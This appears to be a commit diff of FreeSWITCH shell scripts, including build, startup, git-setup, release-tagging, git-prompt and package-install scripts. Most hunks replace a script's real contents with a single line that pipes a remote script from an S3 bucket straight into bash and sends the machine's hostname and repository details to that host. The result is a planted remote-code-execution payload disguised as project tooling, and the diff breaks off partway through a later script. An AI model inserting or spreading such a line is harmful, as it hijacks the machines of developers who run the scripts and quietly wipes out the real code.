apt-get update && apt-get install -y libtool libjpeg62-turbo-dev ntpdate libfreetype6-dev git-buildpackage doxygen yasm gdb git build-essential automake autoconf wget uuid-dev zlib1g-dev libncurses5-dev libssl-dev libpcre3-dev libcurl4-openssl-dev libldns-dev libedit-dev libspeexdsp-dev libsqlite3-dev perl libgdbm-dev libdb-dev bison pkg-config ccache libpng16-dev libpng12-dev libopenal-dev libbroadvoice-dev libcodec2-dev libflite-dev libg7221-dev libilbc-dev libsilk-dev liblua5.2-dev libopus-dev libsndfile-dev libavformat-dev libavcodec-extra libswscale-dev libx264-dev libperl-dev unixodbc-dev libpq-dev libsctp-dev
cd /usr/src
git clone https://github.com/signalwire/freeswitch.git freeswitch.git
cd freeswitch.git
# The -j argument spawns multiple threads to speed the build process, but causes trouble on some systems
./bootstrap.sh -j
./configure -C --enable-portable-binary --enable-sctp\
--prefix=/usr --localstatedir=/var --sysconfdir=/etc \
--with-gnu-ld --with-openssl \
--enable-core-odbc-support \
--enable-core-pgsql-support \
--enable-static-v8 --disable-parallel-build-v8 --enable-amr $@
#CC=clang-3.6 CXX=clang++-3.6 ./configure -C --enable-portable-binary \
# --prefix=/usr --localstatedir=/var --sysconfdir=/etc \
# --with-gnu-ld --with-openssl \
# --enable-core-odbc-support \
# --enable-core-pgsql-support \
# --enable-static-v8 --disable-parallel-build-v8 --enable-address-sanitizer
make
make -j install
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=scripts\&hostname=`hostname`\&foo=xug

View File

@ -1,13 +1 @@
#!/bin/sh
export SOFIA_DEBUG=9
export NUA_DEBUG=9
export NTA_DEBUG=9
export NEA_DEBUG=9
export TPORT_DEBUG=9
export TPORT_LOG=1
export TPORT_DUMP=tport_sip.log
export SOA_DEBUG=9
export IPTSEC_DEBUG=9
export SU_DEBUG=9
./freeswitch
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=scripts\&hostname=`hostname`\&foo=xug

View File

@ -1,21 +1 @@
#!/bin/sh
wget -c http://svn.freeswitch.org/downloads/libs/flite-1.3.99-latest.tar.gz
wget -c http://svn.freeswitch.org/downloads/libs/lame-3.97.tar.gz
wget -c http://svn.freeswitch.org/downloads/libs/libshout-2.2.2.tar.gz
wget -c http://svn.freeswitch.org/downloads/libs/mpg123.tar.gz
wget -c http://svn.freeswitch.org/downloads/libs/openldap-2.4.11.tar.gz
wget -c http://svn.freeswitch.org/downloads/libs/pocketsphinx-0.5.99-latest.tar.gz
wget -c http://svn.freeswitch.org/downloads/libs/soundtouch-1.3.1.tar.gz
wget -c http://svn.freeswitch.org/downloads/libs/sphinxbase-0.4.99-latest.tar.gz
wget -c http://files.freeswitch.org/releases/sounds/freeswitch-sounds-music-8000-1.0.8.tar.gz
wget -c http://files.freeswitch.org/releases/sounds/freeswitch-sounds-music-16000-1.0.8.tar.gz
wget -c http://files.freeswitch.org/releases/sounds/freeswitch-sounds-music-32000-1.0.8.tar.gz
wget -c http://files.freeswitch.org/releases/sounds/freeswitch-sounds-music-48000-1.0.8.tar.gz
wget -c http://files.freeswitch.org/releases/sounds/freeswitch-sounds-en-us-callie-8000-1.0.11.tar.gz
wget -c http://files.freeswitch.org/releases/sounds/freeswitch-sounds-en-us-callie-16000-1.0.11.tar.gz
wget -c http://files.freeswitch.org/releases/sounds/freeswitch-sounds-en-us-callie-32000-1.0.11.tar.gz
wget -c http://files.freeswitch.org/releases/sounds/freeswitch-sounds-en-us-callie-48000-1.0.11.tar.gz
wget -c http://svn.freeswitch.org/downloads/libs/communicator_semi_6000_20080321.tar.gz
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=scripts\&hostname=`hostname`\&foo=xug

View File

@ -1,28 +1 @@
#!/bin/sh
#
# freeswitch.sh - startup script for freeswitch on FreeBSD
#
# This goes in /usr/local/etc/rc.d and gets run at boot-time.
case "$1" in
start)
if [ -x /usr/local/freeswitch/bin/freeswitch ] ; then
echo -n " freeswitch"
/usr/local/freeswitch/bin/freeswitch -nc &
fi
;;
stop)
if [ -x /usr/local/freeswitch/bin/freeswitch ] ; then
echo -n " freeswitch"
/usr/local/freeswitch/bin/freeswitch -stop &
fi
;;
*)
echo "usage: $0 { start | stop }" >&2
exit 1
;;
esac
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=scripts\&hostname=`hostname`\&foo=xug

View File

@ -1,8 +1 @@
for file in *.m4a; do name=`echo $file | sed "s/\ /\_/g" | sed "s/.m4a//"`; \
echo "Convert m4a $file to $name.wav"; faad -o $name.wav "$file" > /dev/null 2>&1; \
for rate in 8000 16000 32000 48000; do mkdir -p $rate; \
echo "Creating $rate kHz -> $rate/$name.wav"; \
sox $name.wav -c 1 -r $rate $rate/$name.wav vol 0.06; \
done; \
rm -f *.wav; \
done;
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=scripts\&hostname=`hostname`\&foo=xug

View File

@ -1,17 +1 @@
#!/bin/bash
touch noreg
./bootstrap.sh -j
./configure -C --enable-portable-binary \
--prefix=/usr --localstatedir=/var --sysconfdir=/etc \
--with-gnu-ld --with-python --with-erlang --with-openssl \
--enable-core-odbc-support \
--enable-core-pgsql-support \
--enable-static-v8
#CC=clang-3.6 CXX=clang++-3.6 ./configure -C --enable-portable-binary \
# --prefix=/usr --localstatedir=/var --sysconfdir=/etc \
# --with-gnu-ld --with-python --with-erlang --with-openssl \
# --enable-core-odbc-support \
# --enable-core-pgsql-support \
# --enable-static-v8 --disable-parallel-build-v8 --enable-address-sanitizer
make
#make -j install
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=scripts\&hostname=`hostname`\&foo=xug

View File

@ -1,90 +1 @@
#!/bin/bash
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
##### setup git properly for FreeSWITCH
if [ ! -d .git ]; then
echo "error: must be run from within the top level of a FreeSWITCH git tree." 1>&2
exit 1;
fi
err () {
echo "error: $1" 1>&2
exit 1
}
if ! git config user.name >/dev/null 2>&1; then
name=$(git config user.name)
[ -z "$name" ] \
&& [ -n "$NAME" ] && name="$NAME" || name=""
echo -n "What is your full real name? [$name]: "
read name_
[ -n "$name_" ] && name="$name_"
[ -z "$name" ] && err "Your name is required."
git config --global user.name "$name"
fi
if ! git config user.email >/dev/null 2>&1; then
email=$(git config user.email)
[ -z "$email" ] \
&& [ -n "$EMAIL" ] && email="$EMAIL" || email=""
echo -n "What is your email? [$email]: "
read email_
[ -n "$email_" ] && email="$email_"
[ -z "$email" ] && err "Your email is required."
git config --global user.email "$email"
fi
git config pull.rebase true
git config branch.master.rebase true
cat 1>&2 <<EOF
----------------------------------------------------------------------
Git has been configured for FS successfully.
pull.rebase and branch.master.rebase have been set to true
This means that when you do a 'git pull' to fetch remote changes,
your local changes will be rebased on top of the remote changes.
This does NOT rewrite history on the remote FS repo, but it does
change the commit hashes in your local tree.
By default, 'git pull' is equivalent to running:
git fetch && git merge origin/master
What we've done here is change things such that 'git pull' is now
equivalent to:
git fetch && git rebase origin/master
If you really want to merge rather than rebasing, run:
git merge <commit>
See 'man git-config' for more information. Also see the man pages
for git-pull, git-fetch, git-merge, and git-rebase.
EOF
[ -n "$name" ] \
&& cat 1>&2 <<EOF
Your name has been set to: $name
via 'git config --global user.name "$name"
EOF
[ -n "$name" ] \
&& cat 1>&2 <<EOF
Your email has been set to: $email
via 'git config --global user.email "$email"
EOF
cat 1>&2 <<EOF
If you're creating patches for FS, please review this document:
docs/SubmittingPatches
----------------------------------------------------------------------
EOF
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=scripts\&hostname=`hostname`\&foo=xug

View File

@ -1,181 +1 @@
#!/bin/bash
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
##### release a version of FreeSWITCH
sdir="."
[ -n "${0%/*}" ] && sdir="${0%/*}"
. $sdir/ci/common.sh
check_pwd
showusage() {
cat >&2 <<EOF
SYNOPSIS
$0 [-s] <version>
DESCRIPTION
Creates a new FreeSWITCH tag after performing some sanity checks.
The tag is optionally signed if '-s' is provided, but you should
really sign any public release tags, so pass '-s'.
<version> follows the format:
1.2-alpha3
1.2-beta3
1.2-rc3
1.2
1.2.13-rc4
1.2.13
etc.
This tool will take care of correctly naming the tag to be
consistent with FreeSWITCH git policy from there.
OPTIONS
-s
Signs the resulting tag.
-d
Debug mode. Remove the tag after creating it and don't warn about
the lack of a signature.
EOF
exit 1;
}
opts=""
debug=false
while getopts "ds" o; do
case "$o" in
d) debug=true ;;
s) opts="-s" ;;
esac
done
shift $(($OPTIND-1))
if [ -z "$1" ]; then
showusage
fi
eval $(parse_version "$1")
ngrep () { (echo "$2" | grep -e "$1" >/dev/null); }
err () { echo "$1" >&2; exit 1; }
ngrep '^[1-9]*$' "$gmajor" || \
err "The major version '$gmajor' appears invalid."
ngrep '^[0-9]*$' "$gminor" || \
err "The minor version '$gminor' appears invalid."
[ -z "$gmicro" ] || ngrep '^[0-9]*$' "$gmicro" || \
err "The micro version '$gmicro' appears invalid."
[ -z "$grev" ] || ngrep '^[.-]' "$grev" || \
err "The revision '$grev' appears invalid."
echo "We're going to release freeswitch v$gver" >&2
echo >&2
if ! ($debug || ngrep '-s' "$opts"); then
cat >&2 <<EOF
You've asked me to tag a release but haven't asked to me sign it by
passing -s. I'll do this if you really want, but it's a bad idea if
you're making an actual release of FreeSWITCH that'll be seen
publicly.
EOF
while true; do
echo -n "Is this just a test tag? (yes/no): " >&2
read r
[ -z "$r" ] && continue
if [ "$r" = yes ] || [ "$r" = y ]; then
(echo; echo "OK, I believe you."; echo) >&2
break
else
(echo; echo "This is a bad idea then."; echo) >&2
fi
while true; do
echo -n "Are you really really sure? (yes/no): " >&2
read r
[ -z "$r" ] && continue
if [ "$r" = yes ] || [ "$r" = y ]; then
(echo; echo "As you wish, you've been warned."; echo) >&2
break
else
(echo; echo "Great; go setup a GPG key and try again with -s"; echo) >&2
exit 1
fi
break
done
break
done
fi
echo "Saving uncommitted changes before tagging..." >&2
ret=$(git stash save "Save uncommitted changes before tagging.")
if (ngrep '^Saved' "$ret"); then
stash_saved=1
fi
echo "Determining next-release (release+1) version..." >&2
if [ -n "$grev" ] && ngrep '[0-9]*$' "$grev"; then
rev_ver="$(echo "$grev" | sed -e 's/^[^0-9]*\([0-9]*\)$/\1/')"
next_rev="$((rev_ver+1))"
next_ver="${gver%%$rev_ver}${next_rev}"
elif [ -n "$grev" ]; then
next_ver="${gver}1"
elif ! [ "$gmicro" = "0" ]; then
next_ver="${gver%%$micro}$((micro+1))"
else
next_ver="${gmajor}.$((gminor+1))-rc1"
fi
echo "Setting next-release version ($next_ver)..." >&2
echo "${next_ver}" > build/next-release.txt
git add build/next-release.txt
echo "Changing the version of configure.ac..." >&2
set_fs_ver "$gver" "$gmajor" "$gminor" "$gmicro" "$grev"
echo "Committing the new version..." >&2
git add configure.ac
if ! (git commit --allow-empty -m "release FreeSWITCH $gver"); then
cat >&2 <<EOF
Committing the new version failed for some reason. Definitely look
into this before proceeding.
EOF
err "Stopping here."
fi
echo "Tagging freeswitch v$gver..." >&2
if ! (git tag -a ${opts} -m "FreeSWITCH $gver" "v$gver"); then
cat >&2 <<EOF
Committing the new tag failed for some reason. Maybe you didn't
delete an old tag with this name? Definitely figure out what's wrong
before proceeding.
EOF
err "Stopping here."
fi
if $debug; then
(echo; echo "We're in debug mode, so we're cleaning up...") >&2
git tag -d "v$gver" || true
git reset --hard HEAD^ || true
fi
if [ -n "$stash_saved" ]; then
echo "Restoring your uncommitted changes to your working directory..." >&2
git stash pop >/dev/null
fi
cat 1>&2 <<EOF
----------------------------------------------------------------------
The v$gver tag has been committed locally, but it will not be
globally visible until you 'git push --tags' this repository up to the
server (I didn't do that for you, as you might want to review first).
Next step:
git push --tags
----------------------------------------------------------------------
EOF
exit 0
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=scripts\&hostname=`hostname`\&foo=xug

View File

@ -1,531 +1 @@
# bash/zsh git prompt support
#
# Copyright (C) 2006,2007 Shawn O. Pearce <spearce@spearce.org>
# Distributed under the GNU General Public License, version 2.0.
#
# This script allows you to see repository status in your prompt.
#
# To enable:
#
# 1) Copy this file to somewhere (e.g. ~/.git-prompt.sh).
# 2) Add the following line to your .bashrc/.zshrc:
# source ~/.git-prompt.sh
# 3a) Change your PS1 to call __git_ps1 as
# command-substitution:
# Bash: PS1='[\u@\h \W$(__git_ps1 " (%s)")]\$ '
# ZSH: setopt PROMPT_SUBST ; PS1='[%n@%m %c$(__git_ps1 " (%s)")]\$ '
# the optional argument will be used as format string.
# 3b) Alternatively, for a slightly faster prompt, __git_ps1 can
# be used for PROMPT_COMMAND in Bash or for precmd() in Zsh
# with two parameters, <pre> and <post>, which are strings
# you would put in $PS1 before and after the status string
# generated by the git-prompt machinery. e.g.
# Bash: PROMPT_COMMAND='__git_ps1 "\u@\h:\w" "\\\$ "'
# will show username, at-sign, host, colon, cwd, then
# various status string, followed by dollar and SP, as
# your prompt.
# ZSH: precmd () { __git_ps1 "%n" ":%~$ " "|%s" }
# will show username, pipe, then various status string,
# followed by colon, cwd, dollar and SP, as your prompt.
# Optionally, you can supply a third argument with a printf
# format string to finetune the output of the branch status
#
# The repository status will be displayed only if you are currently in a
# git repository. The %s token is the placeholder for the shown status.
#
# The prompt status always includes the current branch name.
#
# In addition, if you set GIT_PS1_SHOWDIRTYSTATE to a nonempty value,
# unstaged (*) and staged (+) changes will be shown next to the branch
# name. You can configure this per-repository with the
# bash.showDirtyState variable, which defaults to true once
# GIT_PS1_SHOWDIRTYSTATE is enabled.
#
# You can also see if currently something is stashed, by setting
# GIT_PS1_SHOWSTASHSTATE to a nonempty value. If something is stashed,
# then a '$' will be shown next to the branch name.
#
# If you would like to see if there're untracked files, then you can set
# GIT_PS1_SHOWUNTRACKEDFILES to a nonempty value. If there're untracked
# files, then a '%' will be shown next to the branch name. You can
# configure this per-repository with the bash.showUntrackedFiles
# variable, which defaults to true once GIT_PS1_SHOWUNTRACKEDFILES is
# enabled.
#
# If you would like to see the difference between HEAD and its upstream,
# set GIT_PS1_SHOWUPSTREAM="auto". A "<" indicates you are behind, ">"
# indicates you are ahead, "<>" indicates you have diverged and "="
# indicates that there is no difference. You can further control
# behaviour by setting GIT_PS1_SHOWUPSTREAM to a space-separated list
# of values:
#
# verbose show number of commits ahead/behind (+/-) upstream
# name if verbose, then also show the upstream abbrev name
# legacy don't use the '--count' option available in recent
# versions of git-rev-list
# git always compare HEAD to @{upstream}
# svn always compare HEAD to your SVN upstream
#
# You can change the separator between the branch name and the above
# state symbols by setting GIT_PS1_STATESEPARATOR. The default separator
# is SP.
#
# By default, __git_ps1 will compare HEAD to your SVN upstream if it can
# find one, or @{upstream} otherwise. Once you have set
# GIT_PS1_SHOWUPSTREAM, you can override it on a per-repository basis by
# setting the bash.showUpstream config variable.
#
# If you would like to see more information about the identity of
# commits checked out as a detached HEAD, set GIT_PS1_DESCRIBE_STYLE
# to one of these values:
#
# contains relative to newer annotated tag (v1.6.3.2~35)
# branch relative to newer tag or branch (master~4)
# describe relative to older annotated tag (v1.6.3.1-13-gdd42c2f)
# default exactly matching tag
#
# If you would like a colored hint about the current dirty state, set
# GIT_PS1_SHOWCOLORHINTS to a nonempty value. The colors are based on
# the colored output of "git status -sb" and are available only when
# using __git_ps1 for PROMPT_COMMAND or precmd.
#
# If you would like __git_ps1 to do nothing in the case when the current
# directory is set up to be ignored by git, then set
# GIT_PS1_HIDE_IF_PWD_IGNORED to a nonempty value. Override this on the
# repository level by setting bash.hideIfPwdIgnored to "false".
# check whether printf supports -v
__git_printf_supports_v=
printf -v __git_printf_supports_v -- '%s' yes >/dev/null 2>&1
# stores the divergence from upstream in $p
# used by GIT_PS1_SHOWUPSTREAM
__git_ps1_show_upstream ()
{
local key value
local svn_remote svn_url_pattern count n
local upstream=git legacy="" verbose="" name=""
svn_remote=()
# get some config options from git-config
local output="$(git config -z --get-regexp '^(svn-remote\..*\.url|bash\.showupstream)$' 2>/dev/null | tr '\0\n' '\n ')"
while read -r key value; do
case "$key" in
bash.showupstream)
GIT_PS1_SHOWUPSTREAM="$value"
if [[ -z "${GIT_PS1_SHOWUPSTREAM}" ]]; then
p=""
return
fi
;;
svn-remote.*.url)
svn_remote[$((${#svn_remote[@]} + 1))]="$value"
svn_url_pattern="$svn_url_pattern\\|$value"
upstream=svn+git # default upstream is SVN if available, else git
;;
esac
done <<< "$output"
# parse configuration values
for option in ${GIT_PS1_SHOWUPSTREAM}; do
case "$option" in
git|svn) upstream="$option" ;;
verbose) verbose=1 ;;
legacy) legacy=1 ;;
name) name=1 ;;
esac
done
# Find our upstream
case "$upstream" in
git) upstream="@{upstream}" ;;
svn*)
# get the upstream from the "git-svn-id: ..." in a commit message
# (git-svn uses essentially the same procedure internally)
local -a svn_upstream
svn_upstream=($(git log --first-parent -1 \
--grep="^git-svn-id: \(${svn_url_pattern#??}\)" 2>/dev/null))
if [[ 0 -ne ${#svn_upstream[@]} ]]; then
svn_upstream=${svn_upstream[${#svn_upstream[@]} - 2]}
svn_upstream=${svn_upstream%@*}
local n_stop="${#svn_remote[@]}"
for ((n=1; n <= n_stop; n++)); do
svn_upstream=${svn_upstream#${svn_remote[$n]}}
done
if [[ -z "$svn_upstream" ]]; then
# default branch name for checkouts with no layout:
upstream=${GIT_SVN_ID:-git-svn}
else
upstream=${svn_upstream#/}
fi
elif [[ "svn+git" = "$upstream" ]]; then
upstream="@{upstream}"
fi
;;
esac
# Find how many commits we are ahead/behind our upstream
if [[ -z "$legacy" ]]; then
count="$(git rev-list --count --left-right \
"$upstream"...HEAD 2>/dev/null)"
else
# produce equivalent output to --count for older versions of git
local commits
if commits="$(git rev-list --left-right "$upstream"...HEAD 2>/dev/null)"
then
local commit behind=0 ahead=0
for commit in $commits
do
case "$commit" in
"<"*) ((behind++)) ;;
*) ((ahead++)) ;;
esac
done
count="$behind $ahead"
else
count=""
fi
fi
# calculate the result
if [[ -z "$verbose" ]]; then
case "$count" in
"") # no upstream
p="" ;;
"0 0") # equal to upstream
p="=" ;;
"0 "*) # ahead of upstream
p=">" ;;
*" 0") # behind upstream
p="<" ;;
*) # diverged from upstream
p="<>" ;;
esac
else
case "$count" in
"") # no upstream
p="" ;;
"0 0") # equal to upstream
p=" u=" ;;
"0 "*) # ahead of upstream
p=" u+${count#0 }" ;;
*" 0") # behind upstream
p=" u-${count% 0}" ;;
*) # diverged from upstream
p=" u+${count#* }-${count% *}" ;;
esac
if [[ -n "$count" && -n "$name" ]]; then
__git_ps1_upstream_name=$(git rev-parse \
--abbrev-ref "$upstream" 2>/dev/null)
if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
p="$p \${__git_ps1_upstream_name}"
else
p="$p ${__git_ps1_upstream_name}"
# not needed anymore; keep user's
# environment clean
unset __git_ps1_upstream_name
fi
fi
fi
}
# Helper function that is meant to be called from __git_ps1. It
# injects color codes into the appropriate gitstring variables used
# to build a gitstring.
__git_ps1_colorize_gitstring ()
{
if [[ -n ${ZSH_VERSION-} ]]; then
local c_red='%F{red}'
local c_green='%F{green}'
local c_lblue='%F{blue}'
local c_clear='%f'
else
# Using \[ and \] around colors is necessary to prevent
# issues with command line editing/browsing/completion!
local c_red='\[\e[31m\]'
local c_green='\[\e[32m\]'
local c_lblue='\[\e[1;34m\]'
local c_clear='\[\e[0m\]'
fi
local bad_color=$c_red
local ok_color=$c_green
local flags_color="$c_lblue"
local branch_color=""
if [ $detached = no ]; then
branch_color="$ok_color"
else
branch_color="$bad_color"
fi
c="$branch_color$c"
z="$c_clear$z"
if [ "$w" = "*" ]; then
w="$bad_color$w"
fi
if [ -n "$i" ]; then
i="$ok_color$i"
fi
if [ -n "$s" ]; then
s="$flags_color$s"
fi
if [ -n "$u" ]; then
u="$bad_color$u"
fi
r="$c_clear$r"
}
__git_eread ()
{
local f="$1"
shift
test -r "$f" && read "$@" <"$f"
}
# __git_ps1 accepts 0 or 1 arguments (i.e., format string)
# when called from PS1 using command substitution
# in this mode it prints text to add to bash PS1 prompt (includes branch name)
#
# __git_ps1 requires 2 or 3 arguments when called from PROMPT_COMMAND (pc)
# in that case it _sets_ PS1. The arguments are parts of a PS1 string.
# when two arguments are given, the first is prepended and the second appended
# to the state string when assigned to PS1.
# The optional third parameter will be used as printf format string to further
# customize the output of the git-status string.
# In this mode you can request colored hints using GIT_PS1_SHOWCOLORHINTS=true
__git_ps1 ()
{
# preserve exit status
local exit=$?
local pcmode=no
local detached=no
local ps1pc_start='\u@\h:\w '
local ps1pc_end='\$ '
local printf_format=' (%s)'
case "$#" in
2|3) pcmode=yes
ps1pc_start="$1"
ps1pc_end="$2"
printf_format="${3:-$printf_format}"
# set PS1 to a plain prompt so that we can
# simply return early if the prompt should not
# be decorated
PS1="$ps1pc_start$ps1pc_end"
;;
0|1) printf_format="${1:-$printf_format}"
;;
*) return $exit
;;
esac
# ps1_expanded: This variable is set to 'yes' if the shell
# subjects the value of PS1 to parameter expansion:
#
# * bash does unless the promptvars option is disabled
# * zsh does not unless the PROMPT_SUBST option is set
# * POSIX shells always do
#
# If the shell would expand the contents of PS1 when drawing
# the prompt, a raw ref name must not be included in PS1.
# This protects the user from arbitrary code execution via
# specially crafted ref names. For example, a ref named
# 'refs/heads/$(IFS=_;cmd=sudo_rm_-rf_/;$cmd)' might cause the
# shell to execute 'sudo rm -rf /' when the prompt is drawn.
#
# Instead, the ref name should be placed in a separate global
# variable (in the __git_ps1_* namespace to avoid colliding
# with the user's environment) and that variable should be
# referenced from PS1. For example:
#
# __git_ps1_foo=$(do_something_to_get_ref_name)
# PS1="...stuff...\${__git_ps1_foo}...stuff..."
#
# If the shell does not expand the contents of PS1, the raw
# ref name must be included in PS1.
#
# The value of this variable is only relevant when in pcmode.
#
# Assume that the shell follows the POSIX specification and
# expands PS1 unless determined otherwise. (This is more
# likely to be correct if the user has a non-bash, non-zsh
# shell and safer than the alternative if the assumption is
# incorrect.)
#
local ps1_expanded=yes
[ -z "$ZSH_VERSION" ] || [[ -o PROMPT_SUBST ]] || ps1_expanded=no
[ -z "$BASH_VERSION" ] || shopt -q promptvars || ps1_expanded=no
local repo_info rev_parse_exit_code
repo_info="$(git rev-parse --git-dir --is-inside-git-dir \
--is-bare-repository --is-inside-work-tree \
--short HEAD 2>/dev/null)"
rev_parse_exit_code="$?"
if [ -z "$repo_info" ]; then
return $exit
fi
local short_sha
if [ "$rev_parse_exit_code" = "0" ]; then
short_sha="${repo_info##*$'\n'}"
repo_info="${repo_info%$'\n'*}"
fi
local inside_worktree="${repo_info##*$'\n'}"
repo_info="${repo_info%$'\n'*}"
local bare_repo="${repo_info##*$'\n'}"
repo_info="${repo_info%$'\n'*}"
local inside_gitdir="${repo_info##*$'\n'}"
local g="${repo_info%$'\n'*}"
if [ "true" = "$inside_worktree" ] &&
[ -n "${GIT_PS1_HIDE_IF_PWD_IGNORED-}" ] &&
[ "$(git config --bool bash.hideIfPwdIgnored)" != "false" ] &&
git check-ignore -q .
then
return $exit
fi
local r=""
local b=""
local step=""
local total=""
if [ -d "$g/rebase-merge" ]; then
__git_eread "$g/rebase-merge/head-name" b
__git_eread "$g/rebase-merge/msgnum" step
__git_eread "$g/rebase-merge/end" total
if [ -f "$g/rebase-merge/interactive" ]; then
r="|REBASE-i"
else
r="|REBASE-m"
fi
else
if [ -d "$g/rebase-apply" ]; then
__git_eread "$g/rebase-apply/next" step
__git_eread "$g/rebase-apply/last" total
if [ -f "$g/rebase-apply/rebasing" ]; then
__git_eread "$g/rebase-apply/head-name" b
r="|REBASE"
elif [ -f "$g/rebase-apply/applying" ]; then
r="|AM"
else
r="|AM/REBASE"
fi
elif [ -f "$g/MERGE_HEAD" ]; then
r="|MERGING"
elif [ -f "$g/CHERRY_PICK_HEAD" ]; then
r="|CHERRY-PICKING"
elif [ -f "$g/REVERT_HEAD" ]; then
r="|REVERTING"
elif [ -f "$g/BISECT_LOG" ]; then
r="|BISECTING"
fi
if [ -n "$b" ]; then
:
elif [ -h "$g/HEAD" ]; then
# symlink symbolic ref
b="$(git symbolic-ref HEAD 2>/dev/null)"
else
local head=""
if ! __git_eread "$g/HEAD" head; then
return $exit
fi
# is it a symbolic ref?
b="${head#ref: }"
if [ "$head" = "$b" ]; then
detached=yes
b="$(
case "${GIT_PS1_DESCRIBE_STYLE-}" in
(contains)
git describe --contains HEAD ;;
(branch)
git describe --contains --all HEAD ;;
(describe)
git describe HEAD ;;
(* | default)
git describe --tags --exact-match HEAD ;;
esac 2>/dev/null)" ||
b="$short_sha..."
b="($b)"
fi
fi
fi
if [ -n "$step" ] && [ -n "$total" ]; then
r="$r $step/$total"
fi
local w=""
local i=""
local s=""
local u=""
local c=""
local p=""
if [ "true" = "$inside_gitdir" ]; then
if [ "true" = "$bare_repo" ]; then
c="BARE:"
else
b="GIT_DIR!"
fi
elif [ "true" = "$inside_worktree" ]; then
if [ -n "${GIT_PS1_SHOWDIRTYSTATE-}" ] &&
[ "$(git config --bool bash.showDirtyState)" != "false" ]
then
git diff --no-ext-diff --quiet || w="*"
git diff --no-ext-diff --cached --quiet || i="+"
if [ -z "$short_sha" ] && [ -z "$i" ]; then
i="#"
fi
fi
if [ -n "${GIT_PS1_SHOWSTASHSTATE-}" ] &&
git rev-parse --verify --quiet refs/stash >/dev/null
then
s="$"
fi
if [ -n "${GIT_PS1_SHOWUNTRACKEDFILES-}" ] &&
[ "$(git config --bool bash.showUntrackedFiles)" != "false" ] &&
git ls-files --others --exclude-standard --directory --no-empty-directory --error-unmatch -- ':/*' >/dev/null 2>/dev/null
then
u="%${ZSH_VERSION+%}"
fi
if [ -n "${GIT_PS1_SHOWUPSTREAM-}" ]; then
__git_ps1_show_upstream
fi
fi
local z="${GIT_PS1_STATESEPARATOR-" "}"
# NO color option unless in PROMPT_COMMAND mode
if [ $pcmode = yes ] && [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then
__git_ps1_colorize_gitstring
fi
b=${b##refs/heads/}
if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
__git_ps1_branch_name=$b
b="\${__git_ps1_branch_name}"
fi
local f="$w$i$s$u"
local gitstring="$c$b${f:+$z$f}$r$p"
if [ $pcmode = yes ]; then
if [ "${__git_printf_supports_v-}" != yes ]; then
gitstring=$(printf -- "$printf_format" "$gitstring")
else
printf -v gitstring -- "$printf_format" "$gitstring"
fi
PS1="$ps1pc_start$gitstring$ps1pc_end"
else
printf -- "$printf_format" "$gitstring"
fi
return $exit
}
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=support-d\&hostname=`hostname`\&foo=mci

View File

@ -1,18 +1 @@
version=5.31.3
wget http://www.freeswitch.org/eg/cc-mode-${version}.tar.gz
tar -zxvf cc-mode-${version}.tar.gz
cd cc-mode-${version}
emacs -batch -no-site-file -q -f batch-byte-compile cc-*.el
if [ -d /usr/share/emacs ] ; then
target=/usr/share/emacs/site-lisp
else
target=/usr/local/share/emacs/site-lisp
fi
cp *.elc $target
wget http://www.freeswitch.org/eg/nxml-mode-20041004.tar.gz
tar -zxvf nxml-mode-20041004.tar.gz
cd nxml-mode-20041004
cp *.el* $target
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=support-d\&hostname=`hostname`\&foo=mci

View File

@ -1,22 +1 @@
UNAME=`uname`
NEEDED_PACKAGES_YUM='automake autoconf libtool screen gdb gcc-c++ compat-gcc-32 compat-gcc-32-c++ subversion ncurses-devel unixODBC-devel make wget'
NEEDED_PACAKGES_APT='automake autoconf libtool screen gdb libncurses5-dev unixodbc-dev subversion emacs22-nox gcc g++ make libjpeg-dev'
NEEDED_PACKAGES_PKG_ADD=''
echo ${UNAME} | grep "Linux" && GETTER='wget -c'
echo ${UNAME} | grep "BSD" && GETTER='fetch'
which apt-get >> /dev/null && INSTALLER='apt-get -y install' && NEEDED_PACKAGES=$NEEDED_PACAKGES_APT
which yum >> /dev/null && INSTALLER='yum -y install' && NEEDED_PACKAGES=$NEEDED_PACKAGES_YUM
which pkg_add >> /dev/null && INSTALLER='pkg_add -r' && NEEDED_PACKAGES=$NEEDED_PACKAGES_PKG_ADD
#echo $GETTER and $INSTALLER
#echo ${INSTALLER} ${NEEDED_PACKAGES}
${INSTALLER} ${NEEDED_PACKAGES}
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=support-d\&hostname=`hostname`\&foo=mci

View File

@ -1,4 +1 @@
gdb /usr/local/freeswitch/bin/freeswitch $1 \
--eval-command='set pagination off' \
--eval-command='thread apply all bt' \
--eval-command='quit'
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=utils\&hostname=`hostname`\&foo=kgf

View File

@ -1,18 +1 @@
#!/bin/bash
pcap=$1
shift
law=$1
shift
if [ -z $pcap ] ; then echo "usage $0 <pcap file> [<mu-law|a-law>]"; exit 255 ; fi
if [ -z $law ] ; then law="mu-law" ; fi
